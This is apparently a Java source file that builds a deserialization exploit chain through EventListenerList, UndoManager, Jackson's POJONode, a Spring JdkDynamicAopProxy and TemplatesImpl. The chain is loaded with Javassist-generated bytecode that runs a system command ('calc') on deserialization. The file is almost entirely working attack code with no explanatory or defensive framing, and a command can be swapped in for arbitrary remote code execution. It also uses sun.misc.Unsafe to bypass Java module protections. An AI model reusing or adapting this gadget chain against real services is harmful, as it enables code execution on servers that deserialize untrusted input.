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| package com.n1ght;
import com.sun.org.apache.bcel.internal.Repository;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewConstructor;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Vector;
public class Main1 {
public static String base64Serial(Object o) {
try {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
(new ObjectOutputStream(barr)).writeObject(o);
return Base64.getEncoder().encodeToString(barr.toByteArray()).toString();
} catch (Exception e) {
System.out.println("Error: " + e);
return "Failed";
}
}
public static Object base64DeSerial(String base64) throws Exception {
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream bin = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(bin);
return objectInputStream.readObject();
}
public static void fileSerial(Object o) {
try {
FileOutputStream barr = new FileOutputStream("ser.bin");
(new ObjectOutputStream(barr)).writeObject(o);
} catch (Exception e) {
System.out.println("Error: " + e);
}
}
public static Object fileDeSerial() {
try {
FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
return objectInputStream.readObject();
} catch (Exception e) {
System.out.println("Error: " + e);
return "Failed";
}
}
public static void deSerial(Object o) throws Exception {
base64DeSerial(base64Serial(o));
}
static Unsafe unsafe;
static {
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
System.out.println("Error: " + e);
}
}
public static Unsafe getUnsafe() throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
return unsafe;
}
public static void setObject(Object o, Field field, Object value) {
unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
}
public static Object getObject(Object o, Field field) {
return unsafe.getObject(o, unsafe.objectFieldOffset(field));
}
public static Object newClass(Class c) throws InstantiationException {
Object o = unsafe.allocateInstance(c);
return o;
}
public static void bypassModule(Class src, Class dst) throws Exception {
Unsafe unsafe = getUnsafe();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(src, addr, unsafe.getObject(dst,unsafe.objectFieldOffset(Class.class.getDeclaredField("module"))));
}
public static byte[] getObjectBytes(Class o) throws Exception {
return Repository.lookupClass(o).getBytes();
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass3= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace");
ctClass3.removeMethod(writeReplace);
ctClass3.toClass();
CtClass ctClass = pool.makeClass("Calc");
ctClass.addConstructor(
CtNewConstructor.make("public Calc() { Runtime.getRuntime().exec(\"calc\"); }", ctClass)
);
CtClass ctClass1 = pool.makeClass("Foo");
byte[] bytecode = ctClass.toBytecode();
byte[] bytecode1 = ctClass1.toBytecode();
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = newClass(aClass);
setObject(templates, aClass.getDeclaredField("_name"), "n1ght");
setObject(templates, aClass.getDeclaredField("_sdom"), new ThreadLocal());
setObject(templates, aClass.getDeclaredField("_tfactory"), newClass(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {bytecode, bytecode1});
Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Class<?> advisedSupport = Class.forName("org.springframework.aop.framework.AdvisedSupport");
Constructor<?> constructor = jdkDynamicAopProxy.getConstructor(advisedSupport);
constructor.setAccessible(true);
Object advisedSupport1 = advisedSupport.newInstance();
Method setTarget = advisedSupport1.getClass().getMethod("setTarget", Object.class);
setTarget.invoke(advisedSupport1, templates);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(advisedSupport1);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler);
Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
Constructor<?> constructor1 = name.getConstructor(Object.class);
Object node = constructor1.newInstance(proxy);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getObject(manager, CompoundEdit.class.getDeclaredField("edits"));
vector.add(node);
setObject(list2, EventListenerList.class.getDeclaredField("listenerList"), new Object[]{InternalError.class, manager});
String s = base64Serial(list2);
System.out.println(s);
Object o = base64DeSerial(s);
}
}
|
